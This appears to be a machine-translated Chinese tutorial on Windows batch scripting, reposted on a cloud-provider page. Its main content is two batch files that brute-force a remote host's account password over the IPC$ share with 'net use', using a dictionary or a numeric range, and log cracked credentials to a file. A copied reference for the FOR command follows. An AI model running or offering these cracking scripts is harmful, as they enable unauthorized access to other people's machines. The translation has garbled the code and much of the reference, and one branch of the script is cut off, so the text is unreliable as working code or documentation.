The Windows batch processing function is very powerful in combination with scripts! (Continued)

Source: Internet
Author: User
The Windows batch processing function is very powerful in combination with scripts! (4 ):

Http://blog.chinaunix.net/article.php? ArticleID = 60686 & blogid = 11648

 

The Windows batch processing function is very powerful in combination with scripts! (4)

This is the last chapter ~ Basically, it's good to learn this ~

A za a za fighting !!!!!

Save the following code as a bat file

1. If you use dictionary cracking: Pass. Bat dictionary file path and name host User Name

2. If a number is used for cracking: Pass. bat start number step ends number host User Name

After the password is cracked, it is stored in the C: pass.txt file.

Save the following code as a pass. BAT file

@ Echo off

Echo ---------------------------------------------------------------------> C: pass.txt

Echo ---------------------------------------------------------------------> C: pass.txt

Date/T> C: pass.txt

Time/T> C: pass.txt

Echo cracking result:> C: pass.txt

If "% 6" = "1" Goto is what I say 2

: I said 1.

Start "cracking"/min CMD/C for/F % I in (% 1) do call test. Bat % 2 "% I" % 3

Goto quit

: I said 2.

Start "cracking"/min CMD/C for/L % I in (% 1, % 2, % 3) do call test. bat % 4 "% I" % 5

: Quit

Save the following code as test. bat

Net use/% 1ipc $ % 2/User: "% 3"

Goto answer % errorlevel %

REM % errorlevel % indicates the result returned by the previous command execution. If the net use operation succeeds, 0 is returned, and if the operation fails, 2 is returned.

: Answer0

Echo remote host: "% 1"> C: pass.txt

Echo User: "% 3"> C: pass.txt

Echo password: % 2> C: pass.txt

Net use/% 1ipc $/delet

Exit

: Answer2

For

Run the specified command on each file in a group of files.

You can use the for command in a batch processing program or directly from a command prompt.

To use the for command in a batch processing program, use the following syntax:

For % variable in (SET) docommand [command-parameters]

To use for at a command prompt, use the following syntax:

For % variable in (SET) do command [command-parameters]

Parameters

% Variable or % variable

Represents replaceable parameters. The for command replaces % variable (or % variable) with each text string specified in set until this command (specified in command-parameters) processes all files. Run the for command in the batch processing program using % variable. Run the for command at the command prompt using % variable. Variable names are case sensitive.

(SET)

Specifies one or more files or text strings to be processed with the specified command. Brackets are required.

Command

Specifies the command to be executed on each file contained in the specified set.

Command-Parameters

Specify any parameters or switches that you want to use to specify a command (if the specified command requires any parameters or switches.

If the command extension is enabled (the default setting in Windows 2000), other forms of the for command are supported.

Other forms of the for command

If the command extension is enabled, other formats of the for command are supported:

Limited to directories

For/d [% | %] variable in (SET) docommand [command-parameters]

If set contains wildcards (* And ?), Match the directory name instead of the file name.

Recursion

For/R [[drive:] path] [% | %] variable in (SET) docommand [command-parameters]

Go to the root directory tree [drive:] path and execute the for statement in each directory of the tree. If no directory is specified after/R, it is assumed to be the current directory. If set is only a period (.) character, only the directory tree is listed.

Iteration

For/L [% | %] variable in (START, step, end) do command [command-parameters]

A set is a series of numbers divided by step size from start to end. In this way, (, 5) will generate the sequence 1 2 3 4 5, and (5,-) will generate the sequence (5 4 3 2 1 ).

File Parsing

For/f ["options"] [% | %] variable in (filenameset) do command [command-parameters]

For/f ["options"] [% | %] variable in ("literal string") do command [command-parameters]

For/f ["options"] [% | %] variable in ('command') do command [command-parameters]

Or, if the usebackq option is displayed:

For/f ["options"] [% | %] variable in (filenameset) do command [command-parameters]

For/f ["options"] [% | %] variable in ('literal string') do command [command-parameters]

For/f ["options"] [% | %] variable in ('command') docommand [command-parameters]

The filenameset parameter specifies one or more file names. Before continuing to the next file in filenameset, each file will be opened, read, and processed.

The process consists of reading files, dividing them into independent lines of text, and parsing each line into zero or more tokens. Then, call the for loop body using the variable values (or multiple values) set to one or more token strings found. By default,/F passes the first blank separator number of each line of each file.

Skip empty rows. You can specify the Optional options parameter to overwrite the default parsing behavior. This is a reference string that contains one or more keywords to specify different resolution options. Keyword:

Keyword description

EOL = C specifies the end comment character (only one character)

Skip = n indicates the number of lines skipped at the beginning of the file.

Delims = xxx indicates the set of delims. This replaces the default delimiter set for spaces and tabs.

Tokens = x, y, M-N specify to pass the token from each row to each repeated body. This will cause other variable names to be allocated. The M-N format is a range that specifies the token from MTH to nth. If the last character in the token = string is an asterisk, additional variables are assigned and the remaining text is received on the row after the last token is parsed.

Usebackq specifies that the right quotation mark string is used as a command for execution. The single quotation mark string is a text string command. You can use double quotation marks to include the file name in filenameset.

Variable replacement

In addition, the replacement and modification program for variable reference has been enhanced. You can now use the following optional syntax (for any variable I ):

Variable description

% ~ I expanded to delete % I of any surrounding quotation marks (")

% ~ FI expands % I to a fully qualified path name

% ~ Di only expands % I to the drive letter

% ~ Pi only expands % I to the path

% ~ Ni only expands % I to the file name

% ~ XI only expands % I to the file extension

% ~ Si expansion path to contain only short names

% ~ AI expands % I to the file attributes of the file

% ~ Ti expands % I to the date/time of the file

% ~ Zi expands % I to the file size

% ~ $ Path: I searches for the directories listed in the PATH environment variables, and expands % I to all qualified names in the first result. If the environment variable name is not defined, or the file is not found after the search, the modification program expands to a null string.

The modified program can be merged to obtain complex results:

Variable description

% ~ DPI only expands % I to the drive letter and Path

% ~ Nxi only expands % I to the file name and extension

% ~ FSI expands % I to a complete path name that only contains the short name.

% ~ DP $ path: I searches for % I in the directory listed in the PATH environment variable, and expands to the first drive letter and path to find the result.

% ~ Ftzai extends % I to output rows similar to Dir

Note:

In the preceding example, % I and path can be replaced by other valid values. Use a valid for variable name to terminate % ~ Syntax.

Use an uppercase variable name (for example, % I) to make the code more readable and avoid confusion with case-insensitive modification programs.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.